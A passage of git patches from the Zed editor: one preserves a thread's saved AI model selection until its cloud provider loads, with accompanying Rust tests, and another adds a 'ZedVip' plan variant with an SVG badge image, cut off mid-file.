From 080838387a76b3ea7fc841c8cabfd1ac00a7e444 Mon Sep 17 00:00:00 2001
From: Neel <neel@zed.dev>
Date: Thu, 18 Jun 2026 19:27:21 +0100
Subject: [PATCH 001/772] agent: Preserve saved model selection until provider
 loads (#59417)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR fixes a bug where a thread could fall back to a BYOK model when
a remote provider hasn't yet returned its list of available models. On a
cold start, a thread previously using a Cloud model would fall over to a
BYOK model (if a key is defined) because Cloud models aren't loaded yet.

Note: there is a small behaviour change here, where previously the
priority was `default_model → profile_model → default_model`. The new
order is `profile_model → default_model`.

Release Notes:

- Improved saved thread model selection for cloud-based providers
---
 crates/agent/src/agent.rs  | 214 +++++++++++++++++++++++++++++++++++--
 crates/agent/src/thread.rs | 143 +++++++++++++++++--------
 2 files changed, 306 insertions(+), 51 deletions(-)

diff --git a/crates/agent/src/agent.rs b/crates/agent/src/agent.rs
index eed1f118db3cab..2b0d852bc8e460 100644
--- a/crates/agent/src/agent.rs
+++ b/crates/agent/src/agent.rs
@@ -1369,12 +1369,8 @@ impl NativeAgent {
 
         for session in self.sessions.values_mut() {
             session.thread.update(cx, |thread, cx| {
-                if thread.model().is_none()
-                    && let Some(model) = default_model.clone()
-                {
-                    thread.set_model(model, cx);
-                    cx.notify();
-                }
+                thread.ensure_model(default_model.as_ref(), cx);
+
                 if let Some(model) = summarization_model.clone() {
                     if thread.summarization_model().is_none()
                         || matches!(event, language_model::Event::ThreadSummaryModelChanged)
@@ -6023,6 +6019,212 @@ mod internal_tests {
         drop(reloaded_acp_thread);
     }
 
+    async fn persist_thread_with_fake_corp_model(
+        cx: &mut TestAppContext,
+    ) -> (
+        Entity<NativeAgent>,
+        Rc<NativeAgentConnection>,
+        Entity<Project>,
+        acp::SessionId,
+        Arc<FakeLanguageModelProvider>,
+    ) {
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree("/", json!({ "a": {} })).await;
+        let project = Project::test(fs.clone(), [path!("/a").as_ref()], cx).await;
+        let thread_store = cx.new(|cx| ThreadStore::new(cx));
+        let agent = cx
+            .update(|cx| NativeAgent::new(thread_store.clone(), Templates::new(), fs.clone(), cx));
+        let connection = Rc::new(NativeAgentConnection(agent.clone()));
+
+        let model = Arc::new(FakeLanguageModel::with_id_and_thinking(
+            "fake-corp",
+            "custom-model-id",
+            "Custom Model Display Name",
+            false,
+        ));
+        let provider = Arc::new(
+            FakeLanguageModelProvider::new(
+                LanguageModelProviderId::from("fake-corp".to_string()),
+                LanguageModelProviderName::from("Fake Corp".to_string()),
+            )
+            .with_models(vec![model.clone()]),
+        );
+        cx.update(|cx| {
+            LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
+                registry.register_provider(provider.clone(), cx);
+            });
+        });
+        agent.update(cx, |agent, cx| agent.models.refresh_list(cx));
+
+        let acp_thread = cx
+            .update(|cx| {
+                connection.clone().new_session(
+                    project.clone(),
+                    PathList::new(&[Path::new("/a")]),
+                    cx,
+                )
+            })
+            .await
+            .unwrap();
+        let session_id = acp_thread.read_with(cx, |thread, _| thread.session_id().clone());
+
+        let selector = connection.model_selector(&session_id).unwrap();
+        cx.update(|cx| selector.select_model(AgentModelId::new("fake-corp/custom-model-id"), cx))
+            .await
+            .unwrap();
+
+        let send = acp_thread.update(cx, |thread, cx| thread.send(vec!["Hello".into()], cx));
+        let send = cx.foreground_executor().spawn(send);
+        cx.run_until_parked();
+        model.send_last_completion_stream_text_chunk("Response.");
+        model.end_last_completion_stream();
+        send.await.unwrap();
+        cx.run_until_parked();
+
+        cx.update(|cx| connection.clone().close_session(&session_id, cx))
+            .await
+            .unwrap();
+        drop(acp_thread);
+
+        (agent, connection, project, session_id, provider)
+    }
+
+    fn unregister_fake_corp(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
+                registry.unregister_provider(
+                    LanguageModelProviderId::from("fake-corp".to_string()),
+                    cx,
+                );
+            });
+        });
+    }
+
+    #[gpui::test]
+    async fn test_loaded_thread_resolves_model_when_provider_loads_late(cx: &mut TestAppContext) {
+        init_test(cx);
+        let (agent, _connection, project, session_id, provider) =
+            persist_thread_with_fake_corp_model(cx).await;
+
+        // Simulate a restart where the provider hasn't fetched its model list
+        // yet, so the saved selection can't be resolved at load time.
+        unregister_fake_corp(cx);
+
+        let reloaded_acp_thread = agent
+            .update(cx, |agent, cx| {
+                agent.open_thread(session_id.clone(), project.clone(), cx)
+            })
+            .await
+            .unwrap();
+        let thread = agent.read_with(cx, |agent, _| {
+            agent.sessions.get(&session_id).unwrap().thread.clone()
+        });
+        thread.read_with(cx, |thread, _| {
+            assert!(
+                thread.model().is_none(),
+                "should not fall back to an unrelated model"
+            );
+        });
+
+        // The original selection is persisted even while unresolved, so a save
+        // during the window can't overwrite the user's choice with a fallback.
+        let db_thread = thread.read_with(cx, |thread, cx| thread.to_db(cx)).await;
+        let saved = db_thread.model.expect("selection should be persisted");
+        assert_eq!(saved.provider, "fake-corp");
+        assert_eq!(saved.model, "custom-model-id");
+
+        cx.update(|cx| {
+            LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
+                registry.register_provider(provider.clone(), cx);
+            });
+        });
+        cx.run_until_parked();
+
+        thread.read_with(cx, |thread, _| {
+            assert_eq!(
+                thread
+                    .model()
+                    .expect("model should resolve once provider loads")
+                    .id()
+                    .0
+                    .as_ref(),
+                "custom-model-id"
+            );
+        });
+
+        drop(reloaded_acp_thread);
+    }
+
+    #[gpui::test]
+    async fn test_explicit_model_selection_cancels_pending(cx: &mut TestAppContext) {
+        init_test(cx);
+        let (agent, connection, project, session_id, provider) =
+            persist_thread_with_fake_corp_model(cx).await;
+
+        unregister_fake_corp(cx);
+
+        let reloaded_acp_thread = agent
+            .update(cx, |agent, cx| {
+                agent.open_thread(session_id.clone(), project.clone(), cx)
+            })
+            .await
+            .unwrap();
+        let thread = agent.read_with(cx, |agent, _| {
+            agent.sessions.get(&session_id).unwrap().thread.clone()
+        });
+        thread.read_with(cx, |thread, _| {
+            assert!(thread.model().is_none());
+        });
+
+        // The user explicitly picks a different, available model.
+        let other_model = Arc::new(FakeLanguageModel::with_id_and_thinking(
+            "other-corp",
+            "other-model-id",
+            "Other Model",
+            false,
+        ));
+        let other_provider = Arc::new(
+            FakeLanguageModelProvider::new(
+                LanguageModelProviderId::from("other-corp".to_string()),
+                LanguageModelProviderName::from("Other Corp".to_string()),
+            )
+            .with_models(vec![other_model.clone()]),
+        );
+        cx.update(|cx| {
+            LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
+                registry.register_provider(other_provider, cx);
+            });
+        });
+        cx.run_until_parked();
+
+        let selector = connection.model_selector(&session_id).unwrap();
+        cx.update(|cx| selector.select_model(AgentModelId::new("other-corp/other-model-id"), cx))
+            .await
+            .unwrap();
+
+        thread.read_with(cx, |thread, _| {
+            assert_eq!(thread.model().unwrap().id().0.as_ref(), "other-model-id");
+        });
+
+        // The original provider returning must not clobber the explicit choice.
+        cx.update(|cx| {
+            LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
+                registry.register_provider(provider.clone(), cx);
+            });
+        });
+        cx.run_until_parked();
+
+        thread.read_with(cx, |thread, _| {
+            assert_eq!(
+                thread.model().unwrap().id().0.as_ref(),
+                "other-model-id",
+                "a late provider load must not override the explicit selection"
+            );
+        });
+
+        drop(reloaded_acp_thread);
+    }
+
     #[gpui::test]
     async fn test_save_load_thread(cx: &mut TestAppContext) {
         init_test(cx);
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 0bae32da679460..22326ee8d4bc86 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -1136,6 +1136,37 @@ enum CompletionError {
     Other(#[from] anyhow::Error),
 }
 
+pub(crate) enum ThreadModel {
+    Ready(Arc<dyn LanguageModel>),
+    Unresolved(SelectedModel),
+    Unset,
+}
+
+impl ThreadModel {
+    fn as_model(&self) -> Option<&Arc<dyn LanguageModel>> {
+        match self {
+            Self::Ready(model) => Some(model),
+            Self::Unresolved(_) | Self::Unset => None,
+        }
+    }
+}
+
+impl From<&ThreadModel> for Option<DbLanguageModel> {
+    fn from(model: &ThreadModel) -> Self {
+        match model {
+            ThreadModel::Ready(model) => Some(DbLanguageModel {
+                provider: model.provider_id().to_string(),
+                model: model.id().0.to_string(),
+            }),
+            ThreadModel::Unresolved(selection) => Some(DbLanguageModel {
+                provider: selection.provider.0.to_string(),
+                model: selection.model.0.to_string(),
+            }),
+            ThreadModel::Unset => None,
+        }
+    }
+}
+
 pub struct Thread {
     id: acp::SessionId,
     prompt_id: PromptId,
@@ -1169,7 +1200,7 @@ pub struct Thread {
     profile_id: AgentProfileId,
     project_context: Entity<ProjectContext>,
     pub(crate) templates: Arc<Templates>,
-    model: Option<Arc<dyn LanguageModel>>,
+    model: ThreadModel,
     summarization_model: Option<Arc<dyn LanguageModel>>,
     thinking_enabled: bool,
     thinking_effort: Option<String>,
@@ -1278,6 +1309,7 @@ impl Thread {
             .and_then(|model| model.speed);
         let (prompt_capabilities_tx, prompt_capabilities_rx) =
             watch::channel(Self::prompt_capabilities(model.as_deref()));
+        let model = model.map_or(ThreadModel::Unset, ThreadModel::Ready);
         Self {
             id: acp::SessionId::new(uuid::Uuid::new_v4().to_string()),
             prompt_id: PromptId::new(),
@@ -1354,13 +1386,13 @@ impl Thread {
             return;
         };
 
-        self.model = Some(model.clone());
         self.thinking_enabled = selection.enable_thinking && model.supports_thinking();
         self.thinking_effort = selection.effort.clone();
         self.speed = selection.speed.filter(|_| model.supports_fast_mode());
         self.prompt_capabilities_tx
-            .send(Self::prompt_capabilities(self.model.as_deref()))
+            .send(Self::prompt_capabilities(Some(model.as_ref())))
             .log_err();
+        self.model = ThreadModel::Ready(model);
     }
 
     pub fn id(&self) -> &acp::SessionId {
@@ -1630,31 +1662,33 @@ impl Thread {
             .profile
             .unwrap_or_else(|| settings.default_profile.clone());
 
-        let mut model = LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
-            db_thread
-                .model
-                .and_then(|model| {
-                    let model = SelectedModel {
-                        provider: model.provider.clone().into(),
-                        model: model.model.into(),
-                    };
-                    registry.select_model(&model, cx)
-                })
-                .or_else(|| registry.default_model())
-                .map(|model| model.model)
+        let saved_selection = db_thread.model.map(|model| SelectedModel {
+            provider: model.provider.into(),
+            model: model.model.into(),
         });
 
-        if model.is_none() {
-            model = Self::resolve_profile_model(&profile_id, cx);
-        }
-        if model.is_none() {
-            model = LanguageModelRegistry::global(cx).update(cx, |registry, _cx| {
-                registry.default_model().map(|model| model.model)
-            });
-        }
+        let resolved_saved_model = LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
+            saved_selection
+                .as_ref()
+                .and_then(|selection| registry.select_model(selection, cx))
+                .map(|configured| configured.model)
+        });
 
-        let (prompt_capabilities_tx, prompt_capabilities_rx) =
-            watch::channel(Self::prompt_capabilities(model.as_deref()));
+        let model = match (resolved_saved_model, saved_selection) {
+            (Some(model), _) => ThreadModel::Ready(model),
+            (None, Some(selection)) => ThreadModel::Unresolved(selection),
+            (None, None) => Self::resolve_profile_model(&profile_id, cx)
+                .or_else(|| {
+                    LanguageModelRegistry::global(cx).update(cx, |registry, _cx| {
+                        registry.default_model().map(|model| model.model)
+                    })
+                })
+                .map_or(ThreadModel::Unset, ThreadModel::Ready),
+        };
+
+        let (prompt_capabilities_tx, prompt_capabilities_rx) = watch::channel(
+            Self::prompt_capabilities(model.as_model().map(|model| model.as_ref())),
+        );
 
         let action_log = cx.new(|_| ActionLog::new(project.clone()));
 
@@ -1719,10 +1753,7 @@ impl Thread {
             initial_project_snapshot: None,
             cumulative_token_usage: self.cumulative_token_usage,
             request_token_usage: self.request_token_usage.clone(),
-            model: self.model.as_ref().map(|model| DbLanguageModel {
-                provider: model.provider_id().to_string(),
-                model: model.id().0.to_string(),
-            }),
+            model: (&self.model).into(),
             profile: Some(self.profile_id.clone()),
             imported: self.imported,
             subagent_context: self.subagent_context.clone(),
@@ -1795,13 +1826,35 @@ impl Thread {
     }
 
     pub fn model(&self) -> Option<&Arc<dyn LanguageModel>> {
-        self.model.as_ref()
+        self.model.as_model()
+    }
+
+    pub(crate) fn ensure_model(
+        &mut self,
+        default_model: Option<&Arc<dyn LanguageModel>>,
+        cx: &mut Context<Self>,
+    ) {
+        let resolved = match &self.model {
+            ThreadModel::Ready(_) => return,
+            ThreadModel::Unresolved(selection) => {
+                LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
+                    registry
+                        .select_model(selection, cx)
+                        .map(|configured| configured.model)
+                })
+            }
+            ThreadModel::Unset => default_model.cloned(),
+        };
+
+        if let Some(model) = resolved {
+            self.set_model(model, cx);
+        }
     }
 
     pub fn set_model(&mut self, model: Arc<dyn LanguageModel>, cx: &mut Context<Self>) {
         let old_usage = self.latest_token_usage();
-        self.model = Some(model.clone());
-        let new_caps = Self::prompt_capabilities(self.model.as_deref());
+        self.model = ThreadModel::Ready(model.clone());
+        let new_caps = Self::prompt_capabilities(self.model.as_model().map(|model| model.as_ref()));
         let new_usage = self.latest_token_usage();
         if old_usage != new_usage {
             cx.emit(TokenUsageUpdated(new_usage));
@@ -2137,7 +2190,7 @@ impl Thread {
 
     pub fn latest_token_usage(&self) -> Option<acp_thread::TokenUsage> {
         let usage = self.latest_request_token_usage()?;
-        let model = self.model.clone()?;
+        let model = self.model()?;
         let input_tokens = total_input_tokens(usage);
 
         Some(acp_thread::TokenUsage {
@@ -2256,8 +2309,8 @@ impl Thread {
         cx: &mut Context<Self>,
     ) -> Result<mpsc::UnboundedReceiver<Result<ThreadEvent>>> {
         let model = self
-            .model
-            .clone()
+            .model()
+            .cloned()
             .ok_or_else(|| anyhow!(NoModelConfiguredError))?;
 
         // Flush any pending message and cancel an in-flight turn before we
@@ -2536,7 +2589,7 @@ impl Thread {
             let (model, request) = this.update(cx, |this, cx| {
                 let model = refusal_fallback_model
                     .clone()
-                    .or_else(|| this.model.clone())
+                    .or_else(|| this.model().cloned())
                     .ok_or_else(|| anyhow!(NoModelConfiguredError))?;
                 this.refresh_turn_tools(cx);
                 let request = this.build_completion_request(intent, cx)?;
@@ -2683,7 +2736,7 @@ impl Thread {
 
             if had_refusal {
                 let maybe_fallback = this.update(cx, |this, cx| -> Option<Arc<dyn LanguageModel>> {
-                    let current_model = refusal_fallback_model.as_ref().or(this.model.as_ref())?;
+                    let current_model = refusal_fallback_model.as_ref().or(this.model())?;
                     let fallback_id = match current_model.refusal_fallback_model_id() {
                         Some(id) => id,
                         None => {
@@ -2830,7 +2883,7 @@ impl Thread {
     ) -> Result<ControlFlow<()>> {
         let Some((model, request, insertion_ix)) = this.update(cx, |this, cx| {
             let insertion_ix = this.compaction_message_target_ix(cx)?;
-            let model = this.model.clone()?;
+            let model = this.model().cloned()?;
             let request = this.build_compaction_request(insertion_ix, &model, cx);
             this.current_request_token_usage = TokenUsage::default();
             // Preserve telemetry across retries so the retry count keeps
@@ -2997,7 +3050,7 @@ impl Thread {
         attempt: u8,
         plan: Option<Plan>,
     ) -> Result<acp_thread::RetryStatus> {
-        let Some(model) = self.model.as_ref() else {
+        let Some(model) = self.model() else {
             return Err(anyhow!(error));
         };
 
@@ -3103,8 +3156,8 @@ impl Thread {
                     thread_id = self.id.to_string(),
                     parent_thread_id = self.parent_thread_id().map(|id| id.to_string()),
                     prompt_id = self.prompt_id.to_string(),
-                    model = self.model.as_ref().map(|m| m.telemetry_id()),
-                    model_provider = self.model.as_ref().map(|m| m.provider_id().to_string()),
+                    model = self.model().map(|m| m.telemetry_id()),
+                    model_provider = self.model().map(|m| m.provider_id().to_string()),
                     input_tokens = usage.input_tokens,
                     output_tokens = usage.output_tokens,
                     cache_creation_input_tokens = usage.cache_creation_input_tokens,
@@ -3720,7 +3773,7 @@ impl Thread {
     }
 
     fn enabled_tools(&self, cx: &App) -> BTreeMap<SharedString, Arc<dyn AnyAgentTool>> {
-        let Some(model) = self.model.as_ref() else {
+        let Some(model) = self.model() else {
             return BTreeMap::new();
         };
         let Some(profile) = AgentSettings::get_global(cx).profiles.get(&self.profile_id) else {
@@ -3907,7 +3960,7 @@ impl Thread {
         let system_prompt = SystemPromptTemplate {
             project: self.project_context.read(cx),
             available_tools,
-            model_name: self.model.as_ref().map(|m| m.name().0.to_string()),
+            model_name: self.model().map(|m| m.name().0.to_string()),
             date: Local::now().format("%Y-%m-%d").to_string(),
             user_agents_md,
             sandboxing: crate::sandboxing::sandboxing_enabled_for_project(
@@ -3972,7 +4025,7 @@ impl Thread {
         trigger: &'static str,
         cx: &App,
     ) -> Option<CompactionTelemetry> {
-        let model = self.model.as_ref()?;
+        let model = self.model()?;
         let auto_compact = AgentSettings::get_global(cx).auto_compact;
         let max_tokens = model.max_token_count();
         let max_input_tokens = max_tokens.saturating_sub(model.max_output_tokens().unwrap_or(0));
@@ -4014,7 +4067,7 @@ impl Thread {
             return None;
         }
 
-        let model = self.model.as_ref()?;
+        let model = self.model()?;
         let max_token_count = model.max_token_count();
         let max_input_tokens =
             max_token_count.saturating_sub(model.max_output_tokens().unwrap_or(0));

From 69b602c797a62f09318916d24a98c930533fbdc8 Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Thu, 18 Jun 2026 16:51:36 -0400
Subject: [PATCH 002/772] cloud_api_types: Add `ZedVip` variant to `Plan`
 (#59443)

This PR adds a new `ZedVip` variant to the `Plan` enum.

Closes CLO-881.

Release Notes:

- N/A
---
 assets/images/vip_stamp.svg                  |  1 +
 crates/agent_ui/src/agent_configuration.rs   |  1 +
 crates/ai_onboarding/src/ai_onboarding.rs    | 29 ++++++++++++++++++++
 crates/ai_onboarding/src/plan_definitions.rs |  6 ++++
 crates/cloud_api_types/src/plan.rs           |  1 +
 crates/language_models/src/provider/cloud.rs |  5 ++++
 crates/onboarding/src/onboarding.rs          |  1 +
 crates/title_bar/src/plan_chip.rs            |  1 +
 crates/ui/src/components/image.rs            |  1 +
 9 files changed, 46 insertions(+)
 create mode 100644 assets/images/vip_stamp.svg

diff --git a/assets/images/vip_stamp.svg b/assets/images/vip_stamp.svg
new file mode 100644
index 00000000000000..896a6b39cb00d6
--- /dev/null
+++ b/assets/images/vip_stamp.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="262" height="102" fill="none"><path fill="#c6cad0" d="M261.43 0v101.174H0V0zM1 100.174h259.43V1H1z" opacity=".2"/><path fill="#c6cad0" fill-opacity=".05" d="M6.5 6.5h248.43v88.173H6.5z"/><path fill="#c6cad0" d="M7 92.669v1.505h1.504v1H6v-2.505zm9.518 1.505v1H12.51v-1zm8.013 0v1h-4.007v-1zm8.014 0v1h-4.007v-1zm8.014 0v1h-4.007v-1zm8.014 0v1h-4.008v-1zm8.014 0v1H52.58v-1zm8.014 0v1h-4.007v-1zm8.013 0v1h-4.007v-1zm8.014 0v1H76.62v-1zm8.014 0v1h-4.007v-1zm8.014 0v1H92.65v-1zm8.014 0v1h-4.007v-1zm8.014 0v1h-4.007v-1zm8.013 0v1h-4.007v-1zm8.014 0v1h-4.007v-1zm8.015 0v1h-4.007v-1zm8.013 0v1h-4.007v-1zm8.014 0v1h-4.007v-1zm8.014 0v1h-4.007v-1zm8.013 0v1h-4.007v-1zm8.015 0v1h-4.008v-1zm8.014 0v1h-4.007v-1zm8.013 0v1h-4.007v-1zm8.014 0v1h-4.007v-1zm8.014 0v1h-4.007v-1zm8.013 0v1h-4.007v-1zm8.015 0v1h-4.007v-1zm8.014 0v1h-4.007v-1zm8.013 0v1h-4.007v-1zm8.014 0v1h-4.007v-1zm6.511-1.505v2.505h-2.504v-1h1.504v-1.505zM7 84.653v4.008H6v-4.008zm248.43 0v4.008h-1v-4.008zM7 76.638v4.007H6v-4.007zm248.43 0v4.007h-1v-4.007zM7 68.622v4.008H6v-4.008zm248.43 0v4.008h-1v-4.008zM7 60.606v4.008H6v-4.008zm248.43 0v4.008h-1v-4.008zM7 52.591v4.008H6V52.59zm248.43 0v4.008h-1V52.59zM7 44.575v4.008H6v-4.008zm248.43 0v4.008h-1v-4.008zM7 36.56v4.007H6V36.56zm248.43-.001v4.008h-1V36.56zM7 28.543v4.008H6v-4.008zm248.43 0v4.008h-1v-4.008zM7 20.527v4.008H6v-4.008zm248.43 0v4.008h-1v-4.008zM7 12.512v4.008H6v-4.008zm248.43 0v4.008h-1v-4.008zM8.504 6v1H7v1.504H6V6zM255.43 6v2.504h-1V7h-1.504V6zM16.518 6v1H12.51V6zm8.013 0v1h-4.007V6zm8.014 0v1h-4.007V6zm8.014 0v1h-4.007V6zm8.014 0v1h-4.007V6zm8.014 0v1H52.58V6zM64.6 6v1h-4.007V6zm8.013 0v1h-4.007V6zm8.014 0v1H76.62V6zm8.015 0v1h-4.008V6zm8.013 0v1H92.65V6zm8.014 0v1h-4.007V6zm8.014 0v1h-4.007V6zm8.013 0v1h-4.007V6zm8.015 0v1h-4.008V6zm8.014 0v1h-4.007V6zm8.013 0v1h-4.007V6zm8.014 0v1h-4.007V6zm8.014 0v1h-4.007V6zm8.013 0v1h-4.007V6zm8.015 0v1h-4.007V6zm8.014 0v1h-4.007V6zm8.013 0v1h-4.007V6zm8.014 0v1h-4.007V6zm8.014 0v1h-4.007V6zm8.014 0v1h-4.008V6zm8.014 0v1h-4.007V6zm8.014 0v1h-4.007V6zm8.013 0v1h-4.007V6zm8.014 0v1h-4.007V6zM98.544 45.5l-3.076-10.37h1.323l1.47 5.185 1.115 3.922h.074l1.114-3.922 1.471-5.185h1.278l-3.076 10.37zm6.1 0v-.995h2.585v-8.38h-2.585v-.995h6.418v.995h-2.585v8.38h2.585v.995zm8.552 0V35.13h3.774q1.44 0 2.199.787.757.787.757 2.2 0 1.41-.757 2.198-.759.787-2.199.787h-2.526V45.5zm1.248-5.482h2.496q.787 0 1.218-.386.446-.401.446-1.13v-.772q0-.728-.446-1.114-.43-.402-1.218-.402h-2.496z"/><path fill="#c6cad0" d="M98.796 65.944q-1.53 0-2.243-.906-.698-.907-.698-2.615 0-.654.074-1.441.09-.787.282-1.59.208-.802.55-1.545.342-.758.847-1.337a3.9 3.9 0 0 1 1.218-.936q.698-.357 1.634-.357 1.53 0 2.229.906.713.907.713 2.615 0 .654-.089 1.441-.075.788-.282 1.59a9 9 0 0 1-.535 1.56q-.342.743-.862 1.337a3.9 3.9 0 0 1-1.218.936q-.699.342-1.62.342m.09-1.07q1.203 0 1.931-.92.728-.922.995-2.527l.283-1.693q.059-.342.074-.654.03-.312.03-.565 0-1.069-.431-1.649-.416-.58-1.397-.58-1.203 0-1.931.922-.728.921-.996 2.526l-.282 1.693a9 9 0 0 0-.09.654q-.014.312-.014.565 0 1.069.416 1.649.431.58 1.411.58m7.422 4.041a1 1 0 0 1-.446-.104 2 2 0 0 1-.46-.297 7 7 0 0 1-.58-.55q-.312-.326-.757-.817l-.907-.995.788-.713 2.288 2.436.267-.06 1.456-8.72h-2.733l.163-.996h2.734l.267-1.59q.118-.756.609-1.247.49-.49 1.352-.49h2.571l-.164.995h-3.09l-.386 2.332h3.105l-.164.996h-3.105l-1.382 8.26a3 3 0 0 1-.148.595 1.6 1.6 0 0 1-.282.49 1.1 1.1 0 0 1-.416.342q-.253.133-.58.133m8.463 0a1 1 0 0 1-.446-.104 2 2 0 0 1-.46-.297 7 7 0 0 1-.58-.55q-.311-.326-.758-.817l-.906-.995.788-.713 2.288 2.436.267-.06 1.456-8.72h-2.734l.164-.996h2.733l.268-1.59q.118-.756.609-1.247.49-.49 1.352-.49h2.57l-.163.995h-3.09l-.387 2.332h3.105l-.163.996h-3.105l-1.382 8.26a3 3 0 0 1-.148.595q-.105.282-.283.49a1.1 1.1 0 0 1-.416.342q-.252.133-.579.133m10.602-12.524q-.475 0-.669-.178a.55.55 0 0 1-.193-.416q0-.09.015-.194t.045-.237a.78.78 0 0 1 .297-.52q.237-.193.683-.193.475 0 .669.178a.55.55 0 0 1 .193.416q0 .09-.015.193-.015.105-.045.238a.84.84 0 0 1-.297.535q-.237.177-.683.178m-1.01 9.553q-.565 0-.862-.282a1.04 1.04 0 0 1-.282-.743q0-.15.015-.297.029-.164.059-.297l1.01-5.23h-2.763l.163-.996h3.952l-1.292 6.686.341.134 2.927-2.526.698.654-1.352 1.248q-.519.49-.906.802-.37.312-.668.505a2.1 2.1 0 0 1-.55.268q-.238.075-.49.074m8.433 0q-.714 0-1.263-.238a2.6 2.6 0 0 1-.906-.654 3.1 3.1 0 0 1-.55-1.025 4.7 4.7 0 0 1-.178-1.322q0-1.1.312-1.976.312-.892.846-1.515a3.6 3.6 0 0 1 1.248-.951 3.6 3.6 0 0 1 1.545-.342q.61 0 1.055.149.46.149.788.4.327.239.52.58.207.342.312.713l-.996.387q-.222-.714-.668-.966-.431-.252-1.144-.253-.981 0-1.605.64-.609.638-.817 1.842l-.148.89q-.045.27-.06.417-.015.149-.015.297 0 .981.505 1.456.52.46 1.367.46.253 0 .505-.059a1.7 1.7 0 0 0 .565-.252q.312-.194.668-.565.357-.372.818-.995l.832.49q-.357.58-.728 1.04a4 4 0 0 1-.803.743 3 3 0 0 1-.921.446 3.4 3.4 0 0 1-1.084.163m9.502-9.553q-.475 0-.668-.178a.55.55 0 0 1-.193-.416q0-.09.014-.194t.045-.237a.8.8 0 0 1 .297-.52q.238-.193.684-.193.475 0 .668.178a.55.55 0 0 1 .193.416q0 .09-.015.193a3 3 0 0 1-.044.238.85.85 0 0 1-.297.535q-.238.177-.684.178m-1.01 9.553q-.565 0-.862-.282a1.04 1.04 0 0 1-.282-.743q0-.15.015-.297.03-.164.059-.297l1.011-5.23h-2.764l.164-.996h3.952l-1.293 6.686.342.134 2.927-2.526.698.654-1.352 1.248q-.52.49-.906.802a7 7 0 0 1-.669.505 2.1 2.1 0 0 1-.55.268q-.238.075-.49.074m7.586 0q-1.13 0-1.738-.743-.594-.743-.594-2.228 0-.772.178-1.65a6.1 6.1 0 0 1 .609-1.649 3.7 3.7 0 0 1 1.099-1.248q.684-.505 1.679-.505.833 0 1.382.386.55.372.802 1.13h.045l.223-1.338h1.159l-1.1 6.627h1.055l-.178 1.04h-.862q-.713 0-.981-.372-.252-.371-.163-.891l.089-.55h-.044q-.447.907-1.055 1.456-.609.535-1.605.535m.401-1.025q.476 0 .921-.193a2.5 2.5 0 0 0 .847-.654q.298-.341.505-.788.224-.445.312-.965l.283-1.694q.133-.802-.372-1.233-.49-.446-1.337-.446-1.07 0-1.694.669-.609.668-.787 1.738l-.178 1.07q-.03.208-.045.371-.015.15-.015.297 0 .863.387 1.352.4.476 1.173.476m8.597 1.025q-.61 0-.862-.297-.252-.296-.253-.758v-.238q.015-.133.045-.237l1.664-8.647h-2.704l.163-.996h3.908L157.901 64.8l.372.119 3.046-2.585.668.653-1.545 1.397q-.536.49-.921.802a7 7 0 0 1-.684.476 2 2 0 0 1-.52.222q-.222.06-.445.06" opacity=".6"/><path fill="#fff" fill-opacity=".2" fill-rule="evenodd" stroke="#c6cad0" stroke-linejoin="round" d="M26.318 25.058c-1.023 0-1.852.829-1.852 1.852v40.747h-3.704V26.91a5.556 5.556 0 0 1 5.556-5.556h49.624c2.476 0 3.715 2.992 1.965 4.742L47.343 56.66h8.61v-3.82h3.704v4.746a2.78 2.78 0 0 1-2.778 2.778h-13.24l-6.367 6.367H66.14V43.579h3.705v23.152a3.704 3.704 0 0 1-3.705 3.704H33.568l-6.483 6.483h47.389c1.023 0 1.852-.83 1.852-1.852V34.319h3.704v40.747a5.556 5.556 0 0 1-5.556 5.556H24.85c-2.476 0-3.715-2.993-1.965-4.743l30.448-30.448H44.84v3.705h-3.705v-4.63a2.78 2.78 0 0 1 2.779-2.779h13.123l6.483-6.482H34.653v23.151h-3.704V35.245a3.704 3.704 0 0 1 3.704-3.705h32.571l6.483-6.482z" clip-rule="evenodd"/><circle cx="238.717" cy="23.5" r="1" fill="#d9d9d9" transform="rotate(90 238.717 23.5)"/><circle cx="238.717" cy="66.5" r="1" fill="#d9d9d9" transform="rotate(90 238.717 66.5)"/><circle cx="238.717" cy="49" r="1" fill="#d9d9d9" transform="rotate(90 238.717 49)"/><circle cx="217.717" cy="49" r="1" fill="#d9d9d9" transform="rotate(90 217.717 49)"/><circle cx="238.717" cy="70" r="1" fill="#d9d9d9" transform="rotate(90 238.717 70)"/><circle cx="238.717" cy="52.5" r="1" fill="#d9d9d9" transform="rotate(90 238.717 52.5)"/><circle cx="235.217" cy="52.5" r="1" fill="#d9d9d9" transform="rotate(90 235.217 52.5)"/><circle cx="235.217" cy="37.5" r="1" fill="#d9d9d9" transform="rotate(90 235.217 37.5)"/><circle cx="235.217" cy="23.5" r="1" fill="#d9d9d9" transform="rotate(90 235.217 23.5)"/><circle cx="235.217" cy="66.5" r="1" fill="#d9d9d9" transform="rotate(90 235.217 66.5)"/><circle cx="231.717" cy="52.5" r="1" fill="#d9d9d9" transform="rotate(90 231.717 52.5)"/><circle cx="231.717" cy="37.5" r="1" fill="#d9d9d9" transform="rotate(90 231.717 37.5)"/><circle cx="231.717" cy="23.5" r="1" fill="#d9d9d9" transform="rotate(90 231.717 23.5)"/><circle cx="231.717" cy="66.5" r="1" fill="#d9d9d9" transform="rotate(90 231.717 66.5)"/><circle cx="228.217" cy="52.5" r="1" fill="#d9d9d9" transform="rotate(90 228.217 52.5)"/><circle cx="228.217" cy="37.5" r="1" fill="#d9d9d9" transform="rotate(90 228.217 37.5)"/><circle cx="228.217" cy="23.5" r="1" fill="#d9d9d9" transform="rotate(90 228.217 23.5)"/><circle cx="228.217" cy="66.5" r="1" fill="#d9d9d9" 